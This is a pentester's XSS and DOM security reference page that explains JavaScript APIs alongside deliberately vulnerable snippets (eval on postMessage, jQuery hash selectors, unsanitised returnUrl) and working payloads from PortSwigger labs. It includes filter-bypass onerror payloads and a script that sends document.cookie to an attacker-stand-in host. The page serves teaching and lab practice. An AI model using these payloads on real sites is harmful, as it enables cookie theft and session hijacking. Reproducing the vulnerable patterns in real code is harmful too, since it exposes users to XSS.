cd ~/writeups
Research XSS DOM JavaScript

JavaScript for Pentesters — XSS & DOM Security Reference

sahinyes 2023-07-18

On this page, I collected information about fundamental knowledge of JavaScript methods and techniques that are crucial for identifying and addressing cross-site scripting (XSS) vulnerabilities.

JavaScript badge

# identify and exploit

window.location.search

⚠️ vulnerable code

vulnerable js
$(function() {
  $('#backLink').attr("href",
    (new URLSearchParams(window.location.search)).get('returnUrl')
  );
});

You can exploit this by modifying the URL so that the location.search source contains a malicious JavaScript URL. After the page's JavaScript applies this malicious URL to the back link's href, clicking on the backlink will execute it:

👾 payload

exploit js
?returnUrl=javascript:alert(document.domain)

hashchange event

example js
$(window).on('hashchange', function() {
  var element = $(location.hash);
  element[0].scrollIntoView();
});

postMessage()

The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.

Normally, scripts on different pages are allowed to access each other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy"). window.postMessage() provides a controlled mechanism to securely circumvent this restriction (if used properly).

identifying postMessage usage
Use the developer tools global search option to search for specific keywords such as postMessage(), addEventListener("message"), .on("message") in the JavaScript files.

⚠️ vulnerable code

vulnerable — eval on message js
<script>
window.addEventListener('message', function(e) {
  eval(e.data);
});
</script>

👾 payload

exploit html
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')">

⚠️ vulnerable code — DOM XSS using web messages and JSON.parse

vulnerable — JSON.parse message handler js
<script>
  window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe}, d;
    document.body.appendChild(iframe);
    try {
      d = JSON.parse(e.data);
    } catch(e) {
      return;
    }
    switch(d.type) {
      case "page-load":
        ACMEplayer.element.scrollIntoView();
        break;
      case "load-channel":
        ACMEplayer.element.src = d.url;
        break;
      case "player-height-changed":
        ACMEplayer.element.style.width = d.width + "px";
        ACMEplayer.element.style.height = d.height + "px";
        break;
    }
  }, false);
</script>

👾 payload

exploit html
<iframe src=https://vulnerable.website.com/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
🧪 PortSwigger Lab — DOM XSS using web messages and JSON.parse

# js methods

Window.location

The window.location object can be used to get the current page address (URL) and to redirect the browser to a new page.

  • window.location.href returns the href (URL) of the current page
  • window.location.hostname returns the domain name of the web host
  • window.location.pathname returns the path and filename of the current page
  • window.location.protocol returns the web protocol used (http: or https:)
  • window.location.assign() loads a new document

Location.hash

The hash property of the Location interface returns a string containing a '#' followed by the fragment identifier of the URL — the ID on the page that the URL is trying to target.

example js
<a id="myAnchor" href="/en-US/docs/Location.href#Examples">Examples</a>
<script>
  const anchor = document.getElementById("myAnchor");
  console.log(anchor.hash); // Returns '#Examples'
</script>

⚠️ vulnerable code

vulnerable — jQuery hashchange js
<script>
  $(window).on('hashchange', function(){
    var post = $('section.blog-list h2:contains(' +
      decodeURIComponent(window.location.hash.slice(1)) + ')');
    if (post) post.get(0).scrollIntoView();
  });
</script>

👾 payload

exploit html
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
🧪 PortSwigger Lab — jQuery selector hash change event

addEventListener

The addEventListener() method of the EventTarget interface sets up a function that will be called whenever the specified event is delivered to the target.

example js
element.addEventListener("click", myFunction);

function myFunction() {
  document.getElementById("demo").innerHTML = "Hello World";
}

encodeURIComponent

The encodeURIComponent() function encodes a URI by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two surrogate characters). Compared to encodeURI(), this function encodes more characters, including those that are part of the URI syntax.

example js
// Encodes characters such as ?,=,/,&,:
console.log(`?x=${encodeURIComponent('test?')}`);
// Expected output: "?x=test%3F"

console.log(`?x=${encodeURIComponent('шеллы')}`);
// Expected output: "?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B"

XMLHttpRequest

XMLHttpRequest (XHR) objects are used to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing. XMLHttpRequest is used heavily in AJAX programming.

example js
function reqListener() {
  console.log(this.responseText);
}

const req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "http://www.example.org/example.txt");
req.send();

XHR Fetching

XMLHttpRequest (XHR) is a JavaScript API to create AJAX requests. Its methods provide the ability to send network requests between the browser and a server.

example js
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://www.googleapis.com/discovery/v1/apis');
xhr.onload = () => console.log(JSON.parse(xhr.responseText));
xhr.send();

preventDefault

The preventDefault() method of the Event interface tells the user agent that if the event does not get explicitly handled, its default action should not be taken as it normally would be.

Web Messages

The message event is fired on a Window object when the window receives a message, for example from a call to Window.postMessage() from another browsing context.

# exploit methods

Fetch

The fetch() method in JavaScript is used to request data from a server. The request can be of any type of API that returns the data in JSON or XML.

👾 payload

exploit — exfiltrate cookies via fetch js
<script>
fetch('https://exploit.net', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>

Onload

Execute a JavaScript immediately after a page has been loaded.

examples js
// in HTML
<body onload="myFunction()">

// in JavaScript
object.onload = function(){ myScript };

// Using addEventListener()
object.addEventListener("load", myScript);

Onerror

exploit payloads html
</scrip</script>t><img src=q onerror=alert(1)>

<img src=1 href=1 onerror="javascript:alert(1)"></img>

# resources

  • PortSwigger Web Security Academy
  • W3Schools
  • YesWeHack
  • MDN Web Docs (developer.mozilla.org)